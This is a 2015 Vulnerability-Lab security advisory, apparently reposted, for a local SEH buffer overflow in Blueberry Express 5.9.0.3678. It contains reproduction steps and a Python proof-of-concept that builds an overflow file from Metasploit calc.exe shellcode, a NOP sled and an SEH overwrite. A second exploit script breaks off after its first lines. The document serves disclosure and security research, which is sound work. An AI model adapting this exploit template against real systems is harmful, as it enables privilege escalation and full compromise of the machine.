发布 2015-07-08 漏洞条目

Blueberry Express 5.9.0.3678 – Local Buffer Overflow (SEH)

Exploit Source

Document Title:

===============

Blueberry Express v5.9.x - SEH Buffer Overflow Vulnerability

References (Source):

====================

http://www.vulnerability-lab.com/get_content.php?id=1535

Video: http://www.vulnerability-lab.com/get_content.php?id=1537

Release Date:

=============

2015-06-29

Vulnerability Laboratory ID (VL-ID):

====================================

1535

Common Vulnerability Scoring System:

====================================

6.4

Product & Service Introduction:

===============================

Create engaging movies by adding text, sound and images to your screen recording. Make sure your audience doesn`t miss a

thing with easy-to-use Zoom-Pan and AutoScroll effects. Create polished tutorials and presentations with the help of powerful

editing functions. Do it the easy way with BB FlashBack screen recorder. Its never been easier for everyone to see your movies.

BB FlashBack screen recorder shares with FlashBack Connect or Youtube to display your movies on all devices.(FlashBack Connect

is currently in Beta, and available only to Pro and Standard edition purchasers).

(Copy of the Vendor Homepage: http://www.bbsoftware.co.uk/bbflashback.aspx )

Abstract Advisory Information:

==============================

The Vulnerability Laboratory Core Research Team discovered a local seh buffer overflow vulnerability in the official Blueberry Express v5.9.0.3678 software.

Vulnerability Disclosure Timeline:

==================================

2015-06-29: Researcher Notification & Coordination (Ateeq Khan)

Discovery Status:

=================

Published

Affected Product(s):

====================

Blueberry Software

Product: Blueberry Express - Software 5.9.0.3678

Exploitation Technique:

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Local

Severity Level:

===============

High

Technical Details & Description:

================================

A local SEH Buffer Overflow vulnerability has been discovered in the official Blueberry Express v5.9.0.3678 software.

The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a

classic seh buffer overflow vulnerability.

The local SEH Buffer Overflow affects multiple products including the BBFlashBack Recorder, Batch Export etc.

Other products using similar modules might also be affected. The vulnerability can be exploited by local attackers with low privilege system user account.

The attacker vector of the issue is server-side and the request method to execute the shellcode is local.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.

Successful exploitation of this vulnerability results in complete compromise of the affected machine and system process.

Proof of Concept (PoC):

=======================

The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.

For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

POC Description:

For POC, the researcher installed the software with admin privileges on a windows system (allowed to run for all users), while application

still running in the background, logged off and logged in with a different (low privileged) user. Exploited the vulnerability successfully

hence giving the researcher a system shell with elevated admin privileges. Privilege escalation is possible in this scenario.

Malwares wont be able to exploit this vulnerability remotely as this is a Local exploit.

Manual steps to reproduce the vulnerability ...

1) Run BB Flashback Express Recorder

2) Goto TOOLS > OPTIONS > MISC

3) Click on "Use custom folder" under the Temp Folder module

4) Copy / Paste the POC binary code (record.txt) into the input field of custom folder

5) Click OK

Note: Calculator should popup hence proving the existence of this vulnerability

PoC: Exploitcode

# Exploit Title: Blueberry Express Recorder SEH based buffer overflow (Local) Exploit

# Discovered by: Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/)

# Windows Calc.exe Shellcode - Metasploit

shellcode = ("\xda\xdb\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x32\xb8\x6e\xb9\xe3"

"\x05\x31\x43\x17\x83\xc3\x04\x03\x2d\xaa\x01\xf0\x4d\x24\x4c"

"\xfb\xad\xb5\x2f\x75\x48\x84\x7d\xe1\x19\xb5\xb1\x61\x4f\x36"

"\x39\x27\x7b\xcd\x4f\xe0\x8c\x66\xe5\xd6\xa3\x77\xcb\xd6\x6f"

"\xbb\x4d\xab\x6d\xe8\xad\x92\xbe\xfd\xac\xd3\xa2\x0e\xfc\x8c"

"\xa9\xbd\x11\xb8\xef\x7d\x13\x6e\x64\x3d\x6b\x0b\xba\xca\xc1"

"\x12\xea\x63\x5d\x5c\x12\x0f\x39\x7d\x23\xdc\x59\x41\x6a\x69"

"\xa9\x31\x6d\xbb\xe3\xba\x5c\x83\xa8\x84\x51\x0e\xb0\xc1\x55"

"\xf1\xc7\x39\xa6\x8c\xdf\xf9\xd5\x4a\x55\x1c\x7d\x18\xcd\xc4"

"\x7c\xcd\x88\x8f\x72\xba\xdf\xc8\x96\x3d\x33\x63\xa2\xb6\xb2"

"\xa4\x23\x8c\x90\x60\x68\x56\xb8\x31\xd4\x39\xc5\x22\xb0\xe6"

"\x63\x28\x52\xf2\x12\x73\x38\x05\x96\x09\x05\x05\xa8\x11\x25"

"\x6e\x99\x9a\xaa\xe9\x26\x49\x8f\x06\x6d\xd0\xb9\x8e\x28\x80"

"\xf8\xd2\xca\x7e\x3e\xeb\x48\x8b\xbe\x08\x50\xfe\xbb\x55\xd6"

"\x12\xb1\xc6\xb3\x14\x66\xe6\x91\x76\xe9\x74\x79\x79")

push="\x90" * 288 # Starting offset

nseh="\xeb\x06\x90\x90" # Short jump

seh="\xf3\x43\x10\x40" # POP/POP/RET - [vcl60.bpl] [NoSafeSEH]

nopsled="\x90" * 30 # NOPsled

print "Creating expoit file"

f=open("recorder.txt","w")

try:

f.write(push+nseh+seh+nopsled+shellcode)

f.close()

print "File created"

except:

print "File cannot be created"

PoC#2: Exploitcode

# Exploit Title: Blueberry Express Batch Export SEH based buffer overflow (Local)

# Discovered by: Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/)

print "Creating expoit file"

f=open("batch.txt","w") #Create the file